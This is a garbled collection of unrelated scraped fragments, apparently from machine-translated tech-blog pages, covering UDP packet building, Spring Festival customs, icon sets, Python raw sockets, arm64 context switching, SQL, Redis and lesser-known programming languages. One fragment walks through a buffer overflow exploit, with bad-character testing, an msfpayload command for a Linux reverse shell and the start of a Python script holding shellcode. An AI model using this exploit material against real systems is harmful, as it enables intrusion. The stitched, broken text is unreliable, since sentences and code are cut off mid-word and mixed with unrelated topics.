(unsigned short ));PTR + = sizeof (unsigned short );Chksumlen + = sizeof (unsigned short );
// PayloadMemcpy (PTR, payload, payloadlen );PTR + = payloadlen;Chksumlen + = payloadlen;
// Pad to next 16-bit BoundaryFor (I = 0; I {Printf ("pad one byte/N ");* PTR = 0;PTR ++;Chksumlen ++;}
// Compute the checksum and put it in the UDP HeaderUdphdr-> check = checksum (unsigned short *) BUF, chksumlen );
Return;}
Void main (){
Int sock;Unsigned int buffer_size = sizeof (struct iphdr) + sizeof (struct
days after the Spring Festival are a good time for relatives, friends, and classmates as well as colleagues to exchange greetings, gifts and chat leisurely.
Burning fireworks was once the most typical custom on the Spring Festival. people thought the spluttering sound cocould help drive away edevil spirits. however, such an activity was completely or partially forbidden in big cities once the Government took security, noise and pollution factors into consideration. as a replacement, some buy t
Document directory
Upojenie Icon Set for Iphone and Ipod Touch
Picons Social
IconSweets
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Colorful Icons
Radium Icon Set
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Avatar Icons
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Jeans Icon Set
Moskis Gems: Social Pack #1
Clouds Set
Light Social Icon Set
Github Icons
Social Buttons and Icons
Social Icons
Robots! Robots!
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Tabs Color: Social
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;> exit ()
2.3 Raw Socket sniffingMain ideas:
Use the socket module.
Reads the received package.
Explain and analyze packages.
You can also send an answer
Linux to open the terminal, into the Python environment (raw_socket requires root permission, the input command is to enter the command sudo python .) ), and then click on the following method:
[Email protected]:~/workspace/python$ sudo python[sudo] password for jeanphorn:Python 2.7.3 (Default, APR 20 2012
of them are only hastily set up, so I believe that as long as the time taken, these problems can be properly resolved. In addition, the language specification is likely to change over time, such as adding new keywords, types, and syntax when necessary. So there is no unified conclusion about the documents and other materials. However, if you are interested in this language, the initial tools have been published on the basis of the Apache license.
Experimental programming language--eighth:
I wrote a C + + class that implements most of the BERTLV operations, with the following code:Https://github.com/vsuu/elib/blob/master/elib2014/BerTLV.hThis implementation uses iterators to unify arrays and streams, so this class can accept array input or stream input.Examples of operations:voidTESTBERTLV () {Try{tagtype tag; Char* Tagstr ="\x70\x80"; Char* TAGSTR1 ="\x1f\x70"; BERTLV::P arsetag (tagstr, Tagstr+2, tag); ASSERT (Tag==0x70); BERTLV::P arsetag (TAGSTR1, Tagstr1+2, tag); ASSERT (Tag=
, the specific people can learn by themselves.(3) The specific switchover takes place in the arch/arm64/kernel/entry. s file in Cpu_switch_to, the code is as follows:
ENTRY (cpu_switch_to)-------------------(1)mov x10, #THREAD_CPU_CONTEXT----------(2)add x8, x0, x10--------------------(3)mov x9, SPSTP x19, x20, [x8], #16----------------(4)STP x21, x22, [x8], #16STP x23, x24, [x8], #16STP X25, X26, [x8],
If a column is empty, select non-null. If a column is empty, select
For example, the question that someone in the front-end time group asked is just blank and I will pay attention to it.
Status quoDbone = # select * from tb_test;Id | uname | addr---- + ------- + ------1 | a |2 | a |3 |4 |5 |6 | bb |7 |8 |9 | x |10 |(10 rows)
Expected results:Id | uname---- + -------1 |2 |3 |4 |5 |6 | bb7 | bb8 | bb9 | x10 | x(10 rows)
It can be as follows:Dbone = # se
as C.
Fantom in academic3.0 is open-source and can be used on Windows and UNIX platforms.
No. 7: zimbu
As a product of Bram moolenaar, zimbu has absorbed the features of various previous languages and aims to become a fast, concise, lightweight, easy-to-read language that can be applied from GUI applications to the OS kernel. Because zimbu has multiple features, the syntax itself is unique. It not only has expressions and operators like C, but also has its own keywords, data types and program
"3. A sentence used to begin with an adverb representing a place, sound, etc meaning. In order to be vivid, some adverbs can be placed at the beginning of the sentence, and the predicate verb is placed before the subject, and the inverted structure is formed by using the intransitive verbs (such as go, come, rush, fly, etc.) to represent the motion.For example:Away flew the birds. The bird flew away.Out went the children. The children were out.Down came the rain. It rained heavily.Bang went the
. NET CLI bytecode, but also a set of APIs extracted from Java and. NET to create an additional portable code layer.
Zimbu language
This peculiar language absorbs elements and compositions from various other languages, and it is the crystallization of the wisdom of Bram Moolenaar. Bram Moolenaar is the creator of the Vim text editor. This language is planned to be fast, concise, portable, and readable. Its syntax is unique, distinctive, but rich in functionality. Use C-style expressions and op
exploits Oracle's operating system to invade Oracle "src=" http://s13.sinaimg.cn/ mw690/001t9c8mzy6qaz5vn9i2c690 "/>2. Create buffer overflow sploit (build exploit buffer), first give the overall structure of the manufacturing buffer overflow: shellcode script + random address + short Springboard + return address + long springboard. The following lines are described below:First line: Sploit = payload.encodedDeposit Shellcode. The function of this shellcode is to get the operating system permiss
above to test.Then we test the bad character, after the bad character is tested \x00\x0a\x0d\x20Generate Shellcode and filter bad characterscd/usr/share/framework2/. /msfpayload-L #可以生成的shellcode的种类. /msfpayload linux_ia32_reverse lhost=127.0. 0.1 lport=4444"\x00\x0a\x0d\x20"Build a Python script#!/usr/bin/pythonImportSockethost="127.0.0.1"Shellcode= ("\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+"\xb1\x14\x83\xc7\x04\x31\x5f\
sequence of multiplications to computeX31. There are always ways with only seven multiplications. The following is one of them:
X2 =X×X, X4 =X2 ×X2,X8 =X4×X4,X8 =X4×X4,X10 =X8 ×X2,X20 =X10 ×X10,X30 =X20×X10,X31 =X30 ×X.
If Division is also available, we can find a even shorter sequence of operations. It is possible
. CC, see my previous article.
Introduce hiredis. h and dependent libraries into the project. Here, the static link library form/usr/lib/libhiredis.
Write main, CPP
/** File: Main. CPP * Author: Vicky. H * mail: eclipser@163.com */# include
First:
[Root @ localhost ~] # Redis-cli-P 3307Redis 127.0.0.1: 3307> Del Jack(Integer) 1Redis 127.0.0.1: 3307>
Run the first comment to write the object to redis:
Bytes size = 124Set (Binary API): OK0
The user U object has been successfully written to redis
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